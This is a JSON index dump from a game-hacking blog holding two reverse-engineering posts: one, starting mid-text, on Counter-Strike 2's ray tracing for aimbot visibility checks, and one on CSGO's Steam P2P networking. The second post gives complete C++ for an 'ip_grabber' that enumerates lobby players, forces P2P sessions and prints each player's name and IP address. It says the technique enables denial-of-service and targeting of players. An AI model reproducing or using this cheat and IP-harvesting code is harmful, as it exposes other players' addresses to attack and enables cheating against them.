perform normal collision testing. As a result, a custom implementation was required.\nstd::uint32_t get_handle_from_entity(entity_t* entity) { using function_t = std::uint32_t(__fastcall*)(entity_t*); static function_t fn = reinterpret_cast\u0026lt;function_t\u0026gt;(utilities::pattern_scan(L\u0026#34;client.dll\u0026#34;, \u0026#34;48 85 C9 74 ? 48 8B 41 ? 48 85 C0 74 ? 44 8B 40 ? BA ? ? ? ? 8B 48 ? 41 8B C0 83 E1\u0026#34;)); return fn(entity); } class c_trace_filter { public: std::uint64_t trace_mask; std::uint64_t null_it1; std::uint64_t null_it2; std::uint32_t skip_handle1; std::uint32_t skip_handle2; std::uint32_t skip_handle3; std::uint32_t skip_handle4; std::uint16_t collision1; std::uint16_t collision2; std::uint16_t N0000011C; std::uint8_t layer; std::uint8_t N00000104; std::uint8_t null_it3; virtual ~c_trace_filter() { } virtual bool function() { return true; } c_trace_filter(std::uint64_t trace_mask, player_t* local_player, std::uint8_t layer) { this-\u0026gt;trace_mask = trace_mask; this-\u0026gt;null_it1 = 0; this-\u0026gt;null_it2 = 0; this-\u0026gt;skip_handle1 = get_handle_from_entity(local_player); this-\u0026gt;skip_handle2 = 0; this-\u0026gt;skip_handle3 = 0; this-\u0026gt;skip_handle4 = 0; this-\u0026gt;collision1 = local_player-\u0026gt;collision_property()-\u0026gt;get_collision_mask(); this-\u0026gt;collision2 = 0; this-\u0026gt;N0000011C = 7; this-\u0026gt;layer = layer; this-\u0026gt;N00000104 = 0x49; this-\u0026gt;null_it3 = 0; } }; static_assert(sizeof(c_trace_filter) == 0x40); c_trace_filter primarily consists of:\na trace mask defining what types of objects should be considered, a tracing layer, four entity handles that can be ignored, two collision masks that can also be skipped. For visibility checks, both the local player and its collision object must be excluded from the trace.\nThe remaining fields, N0000011C and N00000104, consistently appear as 7 and 0x49 respectively, although their exact purpose remains unknown.\nThe collision mask can be obtained from CCollisionProperty at offset 0x38, accessible through C_BaseEntity::m_pCollision.\nclass c_game_trace { public: void* surface; entity_t* entity; void* hitbox; char pad_0028[148]; float fraction; char pad_0176[9]; }; static_assert(sizeof(c_game_trace) == 0xC0); The final argument receives the trace result.\nAmong other information, it contains:\nthe surface that was hit, the entity that was intersected, the hitbox, the trace fraction. If entity is nullptr, or fraction is less than or equal to 0.97f, the trace was blocked by world geometry, indicating that the target is not directly visible.\nThe trace interface class i_trace { public: bool trace_shape(c_ray* ray, vec3_t\u0026amp; start, vec3_t\u0026amp; end, c_trace_filter* filter, c_game_trace* trace) { using function_t = bool(__fastcall*)(i_trace*, c_ray*, vec3_t*, vec3_t*, c_trace_filter* c_game_trace*); static function_t fn = reinterpret_cast\u0026lt;function_t\u0026gt;(utilities::pattern_scan(L\u0026#34;client.dll\u0026#34;, \u0026#34;48 89 54 24 ? 48 89 4C 24 ? 55 53 56 57 41 56 41 57\u0026#34;)); return fn(this, ray, \u0026amp;start, \u0026amp;end, filter, trace); } }; i_trace* trace = *reinterpret_cast\u0026lt;i_trace**\u0026gt;(utilities::resolve_rip(utilities::pattern_scan(L\u0026#34;client.dll\u0026#34;, \u0026#34;48 8B 1D ? ? ? ? 24 ? 0F 11 45\u0026#34;), 3, 7)); The function follows the typical Source engine interface pattern.\ntrace_shape is exposed through an interface whose instance is initialized from the global GameTraceManager pointer.\nPutting everything together bool can_see_player_position(player_t* player, const vec3_t\u0026amp; position) { c_trace_filter filter(0x1C300B, local_player, 3); c_ray ray = {}; c_game_trace trace = {}; vec3_t eye_position = local_player-\u0026gt;get_eye_position(); trace-\u0026gt;trace_shape(\u0026amp;ray, eye_position, position, \u0026amp;filter, \u0026amp;trace); return trace.entity == player || trace.fraction \u0026gt; 0.97f; } The trace mask and layer values can be recovered by inspecting the various CTraceFilter implementations used throughout the engine.\nplayer should reference the target entity, while position should correspond to one of the target\u0026rsquo;s bone positions.\nIf the trace reaches the target entity, or the trace fraction exceeds 0.97f it\u0026rsquo;s position can be considered visible.\n","permalink":"https://crowbar.team/posts/cs2-ray-tracing/","summary":"\u003cp\u003eA core requirement of any aimbot is determining whether an enemy is visible or obstructed by world geometry. To answer that question reliably, the game\u0026rsquo;s ray tracing system must be used.\u003c/p\u003e\n\u003ch2 id=\"what-is-ray-tracing\"\u003eWhat is ray tracing?\u003c/h2\u003e\n\u003cp\u003eRay tracing is a technique used by game engines to determine whether a line intersects with geometry or entities in the world. A ray is cast from a starting position in a specified direction, and the engine reports the first object it intersects.\u003c/p\u003e","title":"Counter-Strike 2: Reverse Engineering Ray Tracing"},{"content":"Overview CSGO\u0026rsquo;s lobby architecture implements a decentralized peer-to-peer topology, where clients establish direct connections to exchange game state and synchronize player actions. This design exposes the underlying ISteamNetworking interface, which leaks remote peer IPv4 addresses through the P2PSessionState_t structure. This enables trivial IP enumeration of all players in an active lobby.\nArchitecture Analysis Steam Networking Stack CSGO leverages Valve\u0026rsquo;s proprietary Steam networking layer built atop the Source engine. The P2P system abstracts away NAT traversal through a combination of direct connections and relay servers, exposing the following critical structures via the Source SDK:\nThe ISteamNetworking interface provides two essential methods:\nSendP2PPacket initiates or maintains a P2P session by transmitting up to 1200 bytes to a target SteamID. Session establishment is implicit; if no active session exists, the call creates one.\nbool SendP2PPacket(CSteamID steamIDRemote, const void *pubData, uint32 cubData, EP2PSend eSendType); enum EP2PSend { k_EP2PSendUnreliable = 0, k_EP2PSendUnreliableNoDelay = 1, k_EP2PSendReliable = 2, k_EP2PSendReliableWithBuffering = 3, }; GetP2PSessionState retrieves session metadata, including the critical m_nRemoteIP field containing the peer\u0026rsquo;s IPv4 address in network byte order.\nbool GetP2PSessionState(CSteamID steamIDRemote, P2PSessionState_t *pConnectionState); struct P2PSessionState_t { uint8 m_bConnectionActive; // Session is established uint8 m_bConnecting; // Handshake in progress uint8 m_eP2PSessionError; // Error code (if any) uint8 m_bUsingRelay; // Connection routed through relay int32 m_nBytesQueuedForSend; // Pending outbound buffer size int32 m_nPacketsQueuedForSend; // Queued packet count uint32 m_nRemoteIP; // Target IPv4 address (leaking point) uint16 m_nRemotePort; // Target port }; The vulnerability stems from unrestricted access to m_nRemoteIP. No authentication or permission check validates whether the caller should have visibility into peer addresses.\nPanorama UI Integration CSGO\u0026rsquo;s 2018 UI overhaul introduced the Panorama system: a JavaScript runtime executing within Google\u0026rsquo;s V8 engine. The PartyListAPI and MyPersonaAPI classes expose player enumeration primitives:\nPartyListAPI.GetCount() returns lobby player count PartyListAPI.GetXuidByIndex(int index) retrieves 64-bit SteamID at given index PartyListAPI.GetFriendName(const char* xuid) maps SteamID to display name MyPersonaAPI.GetXuid() returns local player\u0026rsquo;s SteamID PartyListAPI.IsPartySessionActive() validates active lobby state These functions lack SDK documentation and require reverse engineering to locate and invoke from native code.\nFunction Registration and V8 Binding The Panorama binding layer follows a consistent pattern. For example, GetCount registration:\nv4 = v8::FunctionTemplate::New(v11, v3, sub_105815B0); v5 = (*(*dword_15314180 + 516))(dword_15314180, *v4, v8); v6 = v8::String::NewFromUtf8(v10, v5, \u0026#34;GetCount\u0026#34;, 0, -1); v8::Template::Set(v12, *v6); v7 = (*(*dword_15314180 + 660))(dword_15314180, \u0026#34;GetCount\u0026#34;, 1, \u0026amp;Locale, 8); The callback validator (sub_105815B0) enforces argument count and invokes the native implementation:\nv12 = sub_1055D9A0(*v1); // Extract class pointer if (v12) sub_10581890(v12, v1); // Invoke native handler The native handler delegates to the actual implementation and marshals the return value back to V8:\nv3 = sub_103275AF(a1); // Invoke virtual function v5 = *v8::Number::New(v8, v4, v3, ...); // Box into V8 Number Class Pointer Discovery The PartyListAPI class is partially implemented as a VTable, making it discoverable using ClassInformer. Within the class constructor:\nsub_10633DB0 mov edx, ecx sub_10633DB0+2 mov ecx, dword_1530B6A4 ; Class pointer sub_10633DB0+8 test ecx, ecx sub_10633DB0+A jz short locret_10633DD3 sub_10633DB0+C lea eax, [ecx+1Ch] sub_10633DB0+F cmp eax, edx sub_10633DB0+11 jnz short locret_10633DD3 sub_10633DB0+13 mov dword_1530B6A4, 0 sub_10633DB0+1D mov eax, [ecx] sub_10633DB0+1F push 1 sub_10633DB0+21 call dword ptr [eax] The global reference dword_1530B6A4 holds the stable class pointer across session lifecycle.\nImplementation Panorama API Wrapper class i_party_list { public: int get_count() { using fn_t = int(__thiscall*)(i_party_list*); static fn_t fn = reinterpret_cast\u0026lt;fn_t\u0026gt;( pattern_scan(\u0026#34;client.dll\u0026#34;, \u0026#34;8B 01 FF 60 04 CC CC CC CC CC CC\u0026#34;)); return fn(this); } bool is_party_session_active() { using fn_t = int(__cdecl*)(); static fn_t fn = reinterpret_cast\u0026lt;fn_t\u0026gt;( pattern_scan(\u0026#34;client.dll\u0026#34;, \u0026#34;8B 0D ? ? ? ? 8B 01 FF 50 34 F7 D8 1B C0 F7 D8 C3\u0026#34;)); return fn(); } const char* get_xuid_by_index(int index) { using fn_t = void*(__thiscall*)(i_party_list*, int); static fn_t fn = reinterpret_cast\u0026lt;fn_t\u0026gt;( pattern_scan(\u0026#34;client.dll\u0026#34;, \u0026#34;55 8B EC 83 E4 F8 8B 55 08 83 EC 08\u0026#34;)); return reinterpret_cast\u0026lt;const char*\u0026gt;(fn(this, index)); } const char* get_friend_name(const char* xuid) { using fn_t = unsigned char*(__stdcall*)(int); static fn_t fn = reinterpret_cast\u0026lt;fn_t\u0026gt;( pattern_scan(\u0026#34;client.dll\u0026#34;, \u0026#34;55 8B EC 83 E4 F8 83 EC 10 8B 4D 08 56 57 \u0026#34; \u0026#34;E8 ? ? ? ? 8B F0 8D 4C 24 08 8B FA 89 74 24 08 \u0026#34; \u0026#34;0F 57 C0 89 7C 24 0C 66 0F 13 44 24 ? \u0026#34; \u0026#34;E8 ? ? ? ? 84 C0 75 08\u0026#34;)); return reinterpret_cast\u0026lt;const char*\u0026gt;(fn(reinterpret_cast\u0026lt;int\u0026gt;(xuid))); } }; class i_my_persona { public: const char* get_xuid() { using fn_t = void*(__thiscall*)(i_my_persona*); static fn_t fn = reinterpret_cast\u0026lt;fn_t\u0026gt;( pattern_scan(\u0026#34;client.dll\u0026#34;, \u0026#34;FF 35 ? ? ? ? FF 35 ? ? ? ? 68 ? ? ? ? \u0026#34; \u0026#34;68 ? ? ? ? 68 ? ? ? ? E8 ? ? ? ? 83 C4 14 B8\u0026#34;) ); return reinterpret_cast\u0026lt;const char*\u0026gt;(fn(this)); } }; Class Instantiation Static initialization through pattern-scanned globals:\ni_party_list* party_list = **reinterpret_cast\u0026lt;i_party_list***\u0026gt;( pattern_scan(\u0026#34;client.dll\u0026#34;, \u0026#34;A1 ? ? ? ? 85 C0 75 58\u0026#34;) + 1 ); i_my_persona* my_persona = *reinterpret_cast\u0026lt;i_my_persona**\u0026gt;( pattern_scan(\u0026#34;client.dll\u0026#34;, \u0026#34;0F 85 ? ? ? ? 8B 35 ? ? ? ? 85 F6 75 28\u0026#34;) + 2 ); Steam Networking Initialization using SteamAPI_GetHSteamUser_t = uint32_t(__cdecl*)(); using SteamAPI_GetHSteamPipe_t = uint32_t(__cdecl*)(); using SteamClient_t = ISteamClient*(__cdecl*)(); auto steam_user_fn = reinterpret_cast\u0026lt;SteamAPI_GetHSteamUser_t\u0026gt;( GetProcAddress(GetModuleHandleA(\u0026#34;steam_api.dll\u0026#34;), \u0026#34;SteamAPI_GetHSteamUser\u0026#34;) ); auto steam_pipe_fn = reinterpret_cast\u0026lt;SteamAPI_GetHSteamPipe_t\u0026gt;( GetProcAddress(GetModuleHandleA(\u0026#34;steam_api.dll\u0026#34;), \u0026#34;SteamAPI_GetHSteamPipe\u0026#34;) ); auto steam_client_fn = reinterpret_cast\u0026lt;SteamClient_t\u0026gt;( GetProcAddress(GetModuleHandleA(\u0026#34;steam_api.dll\u0026#34;), \u0026#34;SteamClient\u0026#34;) ); uint32_t steam_user = steam_user_fn(); uint32_t steam_pipe = steam_pipe_fn(); ISteamClient* steam_client = steam_client_fn(); ISteamNetworking* steam_networking = steam_client-\u0026gt;GetISteamNetworking( steam_user, steam_pipe, \u0026#34;SteamNetworking006\u0026#34; ); Exploitation Logic The enumeration state machine manages asynchronous P2P connection establishment with bounded timeout:\nnamespace ip_grabber { inline bool grabbing = false; inline bool iterated_players = false; inline int start_time = 0; inline std::vector\u0026lt;std::tuple\u0026lt;const char*, CSteamID, bool\u0026gt;\u0026gt; targets; void run(); } void ip_grabber::run() { if (!grabbing) { return; } // Validate active session if (!party_list-\u0026gt;is_party_session_active()) { printf(\u0026#34;not in a lobby!\\n\u0026#34;); grabbing = false; iterated_players = false; targets.clear(); return; } // Phase 1: Enumerate players and initiate P2P connections if (!iterated_players) { unsigned __int64 local_id = _atoi64(my_persona-\u0026gt;get_xuid()); for (int i = 0; i \u0026lt; party_list-\u0026gt;get_count(); i++) { unsigned __int64 remote_id = _atoi64( party_list-\u0026gt;get_xuid_by_index(i) ); if (remote_id == local_id) { continue; } const char* name = party_list-\u0026gt;get_friend_name( party_list-\u0026gt;get_xuid_by_index(i) ); CSteamID steam_id(remote_id); targets.push_back({name, steam_id, false}); // Trigger session establishment steam_networking-\u0026gt;SendP2PPacket( steam_id, \u0026#34;lmao\u0026#34;, 4, EP2PSend::k_EP2PSendUnreliableNoDelay ); } start_time = globals-\u0026gt;tick_count; iterated_players = true; return; } // Phase 2: Poll session state and extract addresses for (auto\u0026amp; [name, steam_id, resolved] : targets) { P2PSessionState_t state = { }; steam_networking-\u0026gt;GetP2PSessionState(steam_id, \u0026amp;state); if (!state.m_bConnectionActive) { // Timeout after 10 seconds if (globals-\u0026gt;tick_count \u0026gt; start_time + time_to_ticks(10)) { printf(\u0026#34;Name: %s | IP: timed out\\n\u0026#34;, name); resolved = true; } continue; } // Extract IPv4 octets (little-endian) char address[16]; unsigned char* bytes = (unsigned char*)\u0026amp;state.m_nRemoteIP; sprintf_s(address, \u0026#34;%d.%d.%d.%d\u0026#34;, bytes[3], bytes[2], bytes[1], bytes[0]); printf(\u0026#34;Name: %s | IP: %s\\n\u0026#34;, name, address); resolved = true; steam_networking-\u0026gt;CloseP2PSessionWithUser(steam_id); } bool all_resolved = std::all_of(targets.begin(), targets.end(), [](const auto\u0026amp; t) { return std::get\u0026lt;2\u0026gt;(t); }); if (all_resolved) { grabbing = false; iterated_players = false; targets.clear(); } } Security Implications The absence of access control on P2P session metadata represents a critical information disclosure vulnerability. Any player with lobby membership can enumerate the IP addresses of all connected peers, facilitating distributed denial-of-service attacks, IP-based player targeting, and network reconnaissance.\nReferences Source SDK 2013 - ISteamNetworking CSGO Panorama API Documentation ","permalink":"https://crowbar.team/posts/csgo-ip-grabber/","summary":"\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cp\u003eCSGO\u0026rsquo;s lobby architecture implements a decentralized peer-to-peer topology, where clients establish direct connections to exchange game state and synchronize player actions. This design exposes the underlying \u003ccode\u003eISteamNetworking\u003c/code\u003e interface, which leaks remote peer IPv4 addresses through the \u003ccode\u003eP2PSessionState_t\u003c/code\u003e structure. This enables trivial IP enumeration of all players in an active lobby.\u003c/p\u003e\n\u003ch2 id=\"architecture-analysis\"\u003eArchitecture Analysis\u003c/h2\u003e\n\u003ch3 id=\"steam-networking-stack\"\u003eSteam Networking Stack\u003c/h3\u003e\n\u003cp\u003eCSGO leverages Valve\u0026rsquo;s proprietary Steam networking layer built atop the Source engine. The P2P system abstracts away NAT traversal through a combination of direct connections and relay servers, exposing the following critical structures via the Source SDK:\u003c/p\u003e","title":"Counter-Strike: Global Offensive: Reverse Engineering Valve's P2P Networking System"}]